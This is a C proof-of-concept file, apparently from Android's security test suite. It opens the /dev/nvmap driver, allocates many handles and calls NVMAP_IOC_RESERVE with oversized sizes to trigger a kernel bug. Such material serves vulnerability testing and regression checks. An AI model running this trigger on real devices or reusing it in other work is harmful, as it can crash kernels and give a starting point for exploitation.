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214 lines
6.2 KiB
214 lines
6.2 KiB
/*
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* Copyright (C) 2017 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <stdlib.h>
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#include <errno.h>
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#include <unistd.h>
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#include <stdio.h>
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#include <dirent.h>
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#include <string.h>
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#include <sys/stat.h>
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#include <sys/ioctl.h>
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#include <stdio.h>
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#include <string.h>
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#include <dlfcn.h>
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#include <sys/time.h>
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#include <sys/mman.h>
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#include <sys/syscall.h>
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#include <sys/resource.h>
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#include <fcntl.h>
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#include <pthread.h>
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#include <unistd.h>
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#include <sched.h>
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struct nvmap_handle_param {
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__u32 handle; /* nvmap handle */
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__u32 param; /* size/align/base/heap etc. */
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unsigned long result; /* returns requested info*/
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};
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struct nvmap_create_handle {
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union {
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__u32 id; /* FromId */
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__u32 size; /* CreateHandle */
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__s32 fd; /* DmaBufFd or FromFd */
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};
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__u32 handle; /* returns nvmap handle */
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};
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struct nvmap_alloc_handle {
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__u32 handle; /* nvmap handle */
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__u32 heap_mask; /* heaps to allocate from */
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__u32 flags; /* wb/wc/uc/iwb etc. */
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__u32 align; /* min alignment necessary */
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};
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struct nvmap_cache_op_list {
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__u64 handles; /* Ptr to u32 type array, holding handles */
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__u64 offsets; /* Ptr to u32 type array, holding offsets
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* into handle mem */
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__u64 sizes; /* Ptr to u32 type array, holindg sizes of memory
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* regions within each handle */
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__u32 nr; /* Number of handles */
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__s32 op; /* wb/wb_inv/inv */
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};
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#define NVMAP_IOC_MAGIC 'N'
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#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
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#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
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#define NVMAP_IOC_GET_ID _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
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#define NVMAP_IOC_GET_FD _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
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#define NVMAP_IOC_FREE _IO(NVMAP_IOC_MAGIC, 4)
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#define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
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#define NVMAP_IOC_RESERVE _IOW(NVMAP_IOC_MAGIC, 18, struct nvmap_cache_op_list)
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/* common carveout heaps */
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#define NVMAP_HEAP_CARVEOUT_IRAM (1ul<<29)
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#define NVMAP_HEAP_CARVEOUT_VPR (1ul<<28)
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#define NVMAP_HEAP_CARVEOUT_TSEC (1ul<<27)
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#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
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#define NVMAP_HEAP_CARVEOUT_MASK (NVMAP_HEAP_IOVMM - 1)
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/* allocation flags */
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#define NVMAP_HANDLE_UNCACHEABLE (0x0ul << 0)
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#define NVMAP_HANDLE_WRITE_COMBINE (0x1ul << 0)
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#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
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#define NVMAP_HANDLE_CACHEABLE (0x3ul << 0)
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#define NVMAP_HANDLE_CACHE_FLAG (0x3ul << 0)
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#define NVMAP_HANDLE_SECURE (0x1ul << 2)
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#define NVMAP_HANDLE_KIND_SPECIFIED (0x1ul << 3)
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#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
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#define NVMAP_HANDLE_ZEROED_PAGES (0x1ul << 5)
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#define NVMAP_HANDLE_PHYS_CONTIG (0x1ul << 6)
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#define NVMAP_HANDLE_CACHE_SYNC (0x1ul << 7)
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enum {
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NVMAP_PAGES_UNRESERVE = 0,
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NVMAP_PAGES_RESERVE
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};
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int g_fd = -1;
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static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
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static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
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struct nvmap_create_handle* g_allocation = NULL;
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struct nvmap_alloc_handle g_real_alloc = {0};
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struct nvmap_cache_op_list g_op_list = {0};
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#define MAX_HANDLE_NUM (1000)
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int g_handles_for_free[MAX_HANDLE_NUM] = {-1};
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int g_handles_for_alloc[MAX_HANDLE_NUM] = {-1};
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int open_driver() {
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char* dev_path = "/dev/nvmap";
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g_fd = open(dev_path, O_RDWR);
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if (g_fd < 0) {
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printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
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} else {
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printf("[*] open file(%s) succ!\n", dev_path);
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}
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return g_fd;
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}
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int trigger_nvmap_create() {
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g_allocation->handle = -1;
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ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
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printf("[*] NVMAP_IOC_CREATE, last error = %d\n", errno);
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return g_allocation->handle;
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}
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void trigger_nvmap_alloc(int handle) {
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g_real_alloc.handle = handle;
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ioctl(g_fd, NVMAP_IOC_ALLOC, &g_real_alloc);
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printf("[*] NVMAP_IOC_ALLOC, last error = %d\n", errno);
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}
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void trigger_nvmap_free(int handle) {
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ioctl(g_fd, NVMAP_IOC_FREE, handle);
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printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
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}
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void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
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setpriority(PRIO_PROCESS, gettid(), privi);
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printf("[*] setpriority(%d) errno = %d\n", privi, errno);
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/* bind process to a CPU*/
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if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
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printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
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}
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}
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void prepare_data() {
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int i;
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void* data = calloc(1, 0x1000);
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g_allocation = (struct nvmap_create_handle*)data;
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g_allocation->size = 0x40;
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g_real_alloc.align = 0x40;
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g_real_alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
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g_real_alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
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g_op_list.handles = (__u64)(&g_handles_for_alloc[0]);
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g_op_list.offsets = (__u64)calloc(1, MAX_HANDLE_NUM * 4);
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g_op_list.sizes = (__u64)malloc(MAX_HANDLE_NUM * 4);
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for (i = 0; i < MAX_HANDLE_NUM; ++i) {
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((int*)(g_op_list.sizes))[i] = 0xFFFF0000;
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}
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g_op_list.nr = MAX_HANDLE_NUM;
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g_op_list.op = NVMAP_PAGES_RESERVE;
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}
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void create_handles() {
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int i;
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for (i = 0; i < MAX_HANDLE_NUM; ++i) {
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g_handles_for_alloc[i] = trigger_nvmap_create();
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}
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}
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void trigger_rw_handle(int handle) {
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ioctl(g_fd, NVMAP_IOC_RESERVE, &g_op_list);
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printf("[*] NVMAP_IOC_RESERVE errno = %d\n", errno);
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}
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int main(int argc, char**argv) {
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int i;
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if (open_driver() < 0) {
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return -1;
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}
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prepare_data();
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create_handles();
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for (i = 0; i < MAX_HANDLE_NUM; ++i) {
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trigger_nvmap_alloc(g_handles_for_alloc[i]);
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}
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printf("[*] Begin to trigger bug....\n");
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sleep(1);
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for (i = 0; i < MAX_HANDLE_NUM; ++i) {
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trigger_rw_handle(g_handles_for_alloc[i]);
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}
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return 0;
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}
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